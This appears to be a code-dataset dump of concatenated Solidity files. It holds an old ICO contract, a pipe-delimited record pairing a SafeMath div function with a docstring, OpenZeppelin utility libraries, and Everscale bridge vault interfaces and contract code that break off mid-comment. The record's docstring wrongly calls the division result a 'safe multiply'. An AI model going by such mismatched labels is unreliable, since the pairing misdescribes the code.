return true;
}
// @notice Transfers the ownership of owner
// @param newOwner Address of the new owner
function transferOwnership( address newOwner )
external
{
require(msg.sender == owner);
require(newOwner != address(0));
allowed[this][owner] = 0;
owner = newOwner;
allowed[this][owner] = balances[this];
OwnerEvents(msg.sender,2);
}
}
contract tokenContract is ERC20Token{
}
contract DDDico is SafeMath {
tokenContract token;
bool public state;
address public wallet;
address public tokenAddress;
address public owner;
uint256 public weiRaised;
uint256 public hardCap;
uint256 public tokenSale;
uint256 public tokenLeft;
uint256 public applicableRate;
uint256 weiAmount;
uint256 tok;
uint256 public block0 = 4594000;
uint256 public block1 = 4594240;
uint256 public block2 = 4600000;
uint256 public block3 = 4640320;
uint256 public block4 = 4680640;
uint256 public block5 = 4720960;
uint256 public block6 = 4761280;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
// @notice Initializes a ICO Contract
// @param _hardCap Specifies hard cap for ICO in wei
// @param _wallet Address of the multiSig wallet
// @param _token Address of the Token Contract
function DDDico( address _wallet, address _token , uint256 _hardCap, uint256 _tokenSale ) {
require(_wallet != address(0));
state = true;
owner = msg.sender;
wallet = _wallet;
tokenAddress = _token;
token = tokenContract(tokenAddress);
hardCap = mul(_hardCap,pow(10,16));
tokenSale = mul(_tokenSale,pow(10,8));
tokenLeft = tokenSale;
}
// @notice Fallback function to invest in ICO
function () payable {
buyTokens();
}
// @notice Buy Token Function to purchase tokens in ICO
function buyTokens() public payable {
require(validPurchase());
weiAmount = 0;
tok = 0;
weiAmount = msg.value;
tok = div(mul(weiAmount,fetchRate()),pow(10,16));
weiRaised = add(weiRaised,weiAmount);
tokenLeft = sub(tokenLeft,tok);
token.transferICO(msg.sender,tok);
TokenPurchase(msg.sender, msg.sender, weiAmount, tok);
forwardFunds();
}
// @notice Function to forward incomming funds to multi-sig wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @notice Validates the purchase
function validPurchase() internal constant returns (bool) {
bool withinPeriod = block.number >= block0 && block.number <= block6;
bool nonZeroPurchase = msg.value != 0;
bool cap = weiRaised <= hardCap;
return withinPeriod && nonZeroPurchase && cap;
}
// @notice Calculates the rate based on slabs
function fetchRate() constant returns (uint256){
if( block0 <= block.number && block1 > block.number ){
applicableRate = 1500000000000;
return applicableRate;
}
if ( block1 <= block.number && block2 > block.number ){
applicableRate = 1400000000000;
return applicableRate;
}
if ( block2 <= block.number && block3 > block.number ){
applicableRate = 1300000000000;
return applicableRate;
}
if ( block3 <= block.number && block4 > block.number ){
applicableRate = 1200000000000;
return applicableRate;
}
if ( block4 <= block.number && block5 > block.number ){
applicableRate = 1100000000000;
return applicableRate;
}
if ( block5 <= block.number && block6 > block.number ){
applicableRate = 1000000000000;
return applicableRate;
}
}
// @notice Checks weather ICO has ended or not
function hasEnded() public constant returns (bool)
{
return block.number > block6;
}
}
|
SafeMath divide function a Variable 1 b Variable 2 @result { "" : "result of safe multiply"}
|
function div(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
return c;
}
| 1,801,212 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "./IEverscale.sol";
pragma experimental ABIEncoderV2;
interface IBridge is IEverscale {
struct Round {
uint32 end;
uint32 ttl;
uint32 relays;
uint32 requiredSignatures;
}
function updateMinimumRequiredSignatures(uint32 _minimumRequiredSignatures) external;
function setConfiguration(EverscaleAddress calldata _roundRelaysConfiguration) external;
function updateRoundTTL(uint32 _roundTTL) external;
function isRelay(
uint32 round,
address candidate
) external view returns (bool);
function isBanned(
address candidate
) external view returns (bool);
function isRoundRotten(
uint32 round
) external view returns (bool);
function verifySignedEverscaleEvent(
bytes memory payload,
bytes[] memory signatures
) external view returns (uint32);
function setRoundRelays(
bytes calldata payload,
bytes[] calldata signatures
) external;
function forceRoundRelays(
uint160[] calldata _relays,
uint32 roundEnd
) external;
function banRelays(
address[] calldata _relays
) external;
function unbanRelays(
address[] calldata _relays
) external;
function pause() external;
function unpause() external;
function setRoundSubmitter(address _roundSubmitter) external;
event EmergencyShutdown(bool active);
event UpdateMinimumRequiredSignatures(uint32 value);
event UpdateRoundTTL(uint32 value);
event UpdateRoundRelaysConfiguration(EverscaleAddress configuration);
event UpdateRoundSubmitter(address _roundSubmitter);
event NewRound(uint32 indexed round, Round meta);
event RoundRelay(uint32 indexed round, address indexed relay);
event BanRelay(address indexed relay, bool status);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
pragma experimental ABIEncoderV2;
interface IERC20Metadata {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
interface IEverscale {
struct EverscaleAddress {
int128 wid;
uint256 addr;
}
struct EverscaleEvent {
uint64 eventTransactionLt;
uint32 eventTimestamp;
bytes eventData;
int8 configurationWid;
uint256 configurationAddress;
int8 eventContractWid;
uint256 eventContractAddress;
address proxy;
uint32 round;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
interface IStrategy {
function vault() external view returns (address);
function want() external view returns (address);
function isActive() external view returns (bool);
function delegatedAssets() external view returns (uint256);
function estimatedTotalAssets() external view returns (uint256);
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss);
function migrate(address newStrategy) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "./IVaultBasic.sol";
interface IVault is IVaultBasic {
enum ApproveStatus { NotRequired, Required, Approved, Rejected }
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalSkim;
uint256 totalLoss;
address rewardsManager;
EverscaleAddress rewards;
}
struct PendingWithdrawalParams {
uint256 amount;
uint256 bounty;
uint256 timestamp;
ApproveStatus approveStatus;
}
struct PendingWithdrawalId {
address recipient;
uint256 id;
}
struct WithdrawalPeriodParams {
uint256 total;
uint256 considered;
}
function initialize(
address _token,
address _bridge,
address _governance,
uint _targetDecimals,
EverscaleAddress memory _rewards
) external;
function withdrawGuardian() external view returns (address);
function pendingWithdrawalsPerUser(address user) external view returns (uint);
function pendingWithdrawals(
address user,
uint id
) external view returns (PendingWithdrawalParams memory);
function pendingWithdrawalsTotal() external view returns (uint);
function managementFee() external view returns (uint256);
function performanceFee() external view returns (uint256);
function strategies(
address strategyId
) external view returns (StrategyParams memory);
function withdrawalQueue() external view returns (address[20] memory);
function withdrawLimitPerPeriod() external view returns (uint256);
function undeclaredWithdrawLimit() external view returns (uint256);
function withdrawalPeriods(
uint256 withdrawalPeriodId
) external view returns (WithdrawalPeriodParams memory);
function depositLimit() external view returns (uint256);
function debtRatio() external view returns (uint256);
function totalDebt() external view returns (uint256);
function lastReport() external view returns (uint256);
function lockedProfit() external view returns (uint256);
function lockedProfitDegradation() external view returns (uint256);
function setWithdrawGuardian(address _withdrawGuardian) external;
function setStrategyRewards(
address strategyId,
EverscaleAddress memory _rewards
) external;
function setLockedProfitDegradation(uint256 degradation) external;
function setDepositLimit(uint256 limit) external;
function setPerformanceFee(uint256 fee) external;
function setManagementFee(uint256 fee) external;
function setWithdrawLimitPerPeriod(uint256 _withdrawLimitPerPeriod) external;
function setUndeclaredWithdrawLimit(uint256 _undeclaredWithdrawLimit) external;
function setWithdrawalQueue(address[20] memory queue) external;
function setPendingWithdrawalBounty(uint256 id, uint256 bounty) external;
function deposit(
EverscaleAddress memory recipient,
uint256 amount,
PendingWithdrawalId memory pendingWithdrawalId
) external;
function deposit(
EverscaleAddress memory recipient,
uint256[] memory amount,
PendingWithdrawalId[] memory pendingWithdrawalId
) external;
function depositToFactory(
uint128 amount,
int8 wid,
uint256 user,
uint256 creditor,
uint256 recipient,
uint128 tokenAmount,
uint128 tonAmount,
uint8 swapType,
uint128 slippageNumerator,
uint128 slippageDenominator,
bytes memory level3
) external;
function saveWithdraw(
bytes memory payload,
bytes[] memory signatures
) external returns (
bool instantWithdrawal,
PendingWithdrawalId memory pendingWithdrawalId
);
function saveWithdraw(
bytes memory payload,
bytes[] memory signatures,
uint bounty
) external;
function cancelPendingWithdrawal(
uint256 id,
uint256 amount,
EverscaleAddress memory recipient,
uint bounty
) external;
function withdraw(
uint256 id,
uint256 amountRequested,
address recipient,
uint256 maxLoss,
uint bounty
) external returns(uint256);
function addStrategy(
address strategyId,
uint256 _debtRatio,
uint256 minDebtPerHarvest,
uint256 maxDebtPerHarvest,
uint256 _performanceFee
) external;
function updateStrategyDebtRatio(
address strategyId,
uint256 _debtRatio
) external;
function updateStrategyMinDebtPerHarvest(
address strategyId,
uint256 minDebtPerHarvest
) external;
function updateStrategyMaxDebtPerHarvest(
address strategyId,
uint256 maxDebtPerHarvest
) external;
function updateStrategyPerformanceFee(
address strategyId,
uint256 _performanceFee
) external;
function migrateStrategy(
address oldVersion,
address newVersion
) external;
function revokeStrategy(
address strategyId
) external;
function revokeStrategy() external;
function totalAssets() external view returns (uint256);
function debtOutstanding(address strategyId) external view returns (uint256);
function debtOutstanding() external view returns (uint256);
function creditAvailable(address strategyId) external view returns (uint256);
function creditAvailable() external view returns (uint256);
function availableDepositLimit() external view returns (uint256);
function expectedReturn(address strategyId) external view returns (uint256);
function report(
uint256 profit,
uint256 loss,
uint256 _debtPayment
) external returns (uint256);
function skim(address strategyId) external;
function forceWithdraw(
PendingWithdrawalId memory pendingWithdrawalId
) external;
function forceWithdraw(
PendingWithdrawalId[] memory pendingWithdrawalId
) external;
function setPendingWithdrawalApprove(
PendingWithdrawalId memory pendingWithdrawalId,
ApproveStatus approveStatus
) external;
function setPendingWithdrawalApprove(
PendingWithdrawalId[] memory pendingWithdrawalId,
ApproveStatus[] memory approveStatus
) external;
event PendingWithdrawalUpdateBounty(address recipient, uint256 id, uint256 bounty);
event PendingWithdrawalCancel(address recipient, uint256 id, uint256 amount);
event PendingWithdrawalForce(address recipient, uint256 id);
event PendingWithdrawalCreated(
address recipient,
uint256 id,
uint256 amount,
bytes32 payloadId
);
event PendingWithdrawalWithdraw(
address recipient,
uint256 id,
uint256 requestedAmount,
uint256 redeemedAmount
);
event PendingWithdrawalUpdateApproveStatus(
address recipient,
uint256 id,
ApproveStatus approveStatus
);
event UpdateWithdrawLimitPerPeriod(uint256 withdrawLimitPerPeriod);
event UpdateUndeclaredWithdrawLimit(uint256 undeclaredWithdrawLimit);
event UpdateDepositLimit(uint256 depositLimit);
event UpdatePerformanceFee(uint256 performanceFee);
event UpdateManagementFee(uint256 managenentFee);
event UpdateWithdrawGuardian(address withdrawGuardian);
event UpdateWithdrawalQueue(address[20] queue);
event StrategyUpdateDebtRatio(address indexed strategy, uint256 debtRatio);
event StrategyUpdateMinDebtPerHarvest(address indexed strategy, uint256 minDebtPerHarvest);
event StrategyUpdateMaxDebtPerHarvest(address indexed strategy, uint256 maxDebtPerHarvest);
event StrategyUpdatePerformanceFee(address indexed strategy, uint256 performanceFee);
event StrategyMigrated(address indexed oldVersion, address indexed newVersion);
event StrategyRevoked(address indexed strategy);
event StrategyRemovedFromQueue(address indexed strategy);
event StrategyAddedToQueue(address indexed strategy);
event StrategyReported(
address indexed strategy,
uint256 gain,
uint256 loss,
uint256 debtPaid,
uint256 totalGain,
uint256 totalSkim,
uint256 totalLoss,
uint256 totalDebt,
uint256 debtAdded,
uint256 debtRatio
);
event StrategyAdded(
address indexed strategy,
uint256 debtRatio,
uint256 minDebtPerHarvest,
uint256 maxDebtPerHarvest,
uint256 performanceFee
);
event StrategyUpdateRewards(
address strategyId,
int128 wid,
uint256 addr
);
event UserDeposit(
address sender,
int128 recipientWid,
uint256 recipientAddr,
uint256 amount,
address withdrawalRecipient,
uint256 withdrawalId,
uint256 bounty
);
event FactoryDeposit(
uint128 amount,
int8 wid,
uint256 user,
uint256 creditor,
uint256 recipient,
uint128 tokenAmount,
uint128 tonAmount,
uint8 swapType,
uint128 slippageNumerator,
uint128 slippageDenominator,
bytes1 separator,
bytes level3
);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "../IEverscale.sol";
interface IVaultBasic is IEverscale {
struct WithdrawalParams {
EverscaleAddress sender;
uint256 amount;
address recipient;
uint32 chainId;
}
function bridge() external view returns (address);
function configuration() external view returns (EverscaleAddress memory);
function withdrawalIds(bytes32) external view returns (bool);
function rewards() external view returns (EverscaleAddress memory);
function governance() external view returns (address);
function guardian() external view returns (address);
function management() external view returns (address);
function token() external view returns (address);
function targetDecimals() external view returns (uint256);
function tokenDecimals() external view returns (uint256);
function depositFee() external view returns (uint256);
function withdrawFee() external view returns (uint256);
function emergencyShutdown() external view returns (bool);
function apiVersion() external view returns (string memory api_version);
function setDepositFee(uint _depositFee) external;
function setWithdrawFee(uint _withdrawFee) external;
function setConfiguration(EverscaleAddress memory _configuration) external;
function setGovernance(address _governance) external;
function acceptGovernance() external;
function setGuardian(address _guardian) external;
function setManagement(address _management) external;
function setRewards(EverscaleAddress memory _rewards) external;
function setEmergencyShutdown(bool active) external;
function deposit(
EverscaleAddress memory recipient,
uint256 amount
) external;
function decodeWithdrawalEventData(
bytes memory eventData
) external view returns(WithdrawalParams memory);
function sweep(address _token) external;
// Events
event Deposit(
uint256 amount,
int128 wid,
uint256 addr
);
event InstantWithdrawal(
bytes32 payloadId,
address recipient,
uint256 amount
);
event UpdateBridge(address bridge);
event UpdateConfiguration(int128 wid, uint256 addr);
event UpdateTargetDecimals(uint256 targetDecimals);
event UpdateRewards(int128 wid, uint256 addr);
event UpdateDepositFee(uint256 fee);
event UpdateWithdrawFee(uint256 fee);
event UpdateGovernance(address governance);
event UpdateManagement(address management);
event NewPendingGovernance(address governance);
event UpdateGuardian(address guardian);
event EmergencyShutdown(bool active);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
pragma experimental ABIEncoderV2;
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../libraries/Math.sol";
import "../interfaces/vault/IVault.sol";
import "../interfaces/IBridge.sol";
import "../interfaces/IStrategy.sol";
import "../interfaces/IERC20Metadata.sol";
import "./VaultHelpers.sol";
string constant API_VERSION = '0.1.7';
/// @title Vault contract. Entry point for the Octus bridge cross chain token transfers.
/// @dev Fork of the Yearn Vault V2 contract, rewritten in Solidity.
/// @author https://github.com/broxus
contract Vault is IVault, VaultHelpers {
using SafeERC20 for IERC20;
function initialize(
address _token,
address _bridge,
address _governance,
uint _targetDecimals,
EverscaleAddress memory _rewards
) external override initializer {
bridge = _bridge;
emit UpdateBridge(bridge);
governance = _governance;
emit UpdateGovernance(governance);
rewards_ = _rewards;
emit UpdateRewards(rewards_.wid, rewards_.addr);
performanceFee = 0;
emit UpdatePerformanceFee(0);
managementFee = 0;
emit UpdateManagementFee(0);
withdrawFee = 0;
emit UpdateWithdrawFee(0);
depositFee = 0;
emit UpdateDepositFee(0);
token = _token;
tokenDecimals = IERC20Metadata(token).decimals();
targetDecimals = _targetDecimals;
}
/**
@notice Vault API version. Used to track the deployed version of this contract.
@return api_version Current API version
*/
function apiVersion()
external
override
pure
returns (string memory api_version)
{
return API_VERSION;
}
/**
@notice Set deposit fee. Must be less than `MAX_BPS`.
This may be called only by `governance` or `management`.
@param _depositFee Deposit fee, must be less than `MAX_BPS / 2`.
*/
function setDepositFee(
uint _depositFee
) external override onlyGovernanceOrManagement {
require(_depositFee <= MAX_BPS / 2);
depositFee = _depositFee;
emit UpdateDepositFee(depositFee);
}
/**
@notice Set withdraw fee. Must be less than `MAX_BPS`.
This may be called only by `governance` or `management`
@param _withdrawFee Withdraw fee, must be less than `MAX_BPS / 2`.
*/
function setWithdrawFee(
uint _withdrawFee
) external override onlyGovernanceOrManagement {
require(_withdrawFee <= MAX_BPS / 2);
withdrawFee = _withdrawFee;
emit UpdateWithdrawFee(withdrawFee);
}
/// @notice Set configuration_ address.
/// @param _configuration The address to use for configuration_.
function setConfiguration(
EverscaleAddress memory _configuration
) external override onlyGovernance {
configuration_ = _configuration;
emit UpdateConfiguration(configuration_.wid, configuration_.addr);
}
/// @notice Nominate new address to use as a governance.
/// The change does not go into effect immediately. This function sets a
/// pending change, and the governance address is not updated until
/// the proposed governance address has accepted the responsibility.
/// This may only be called by the `governance`.
/// @param _governance The address requested to take over Vault governance.
function setGovernance(
address _governance
) external override onlyGovernance {
pendingGovernance = _governance;
emit NewPendingGovernance(pendingGovernance);
}
/// @notice Once a new governance address has been proposed using `setGovernance`,
/// this function may be called by the proposed address to accept the
/// responsibility of taking over governance for this contract.
/// This may only be called by the `pendingGovernance`.
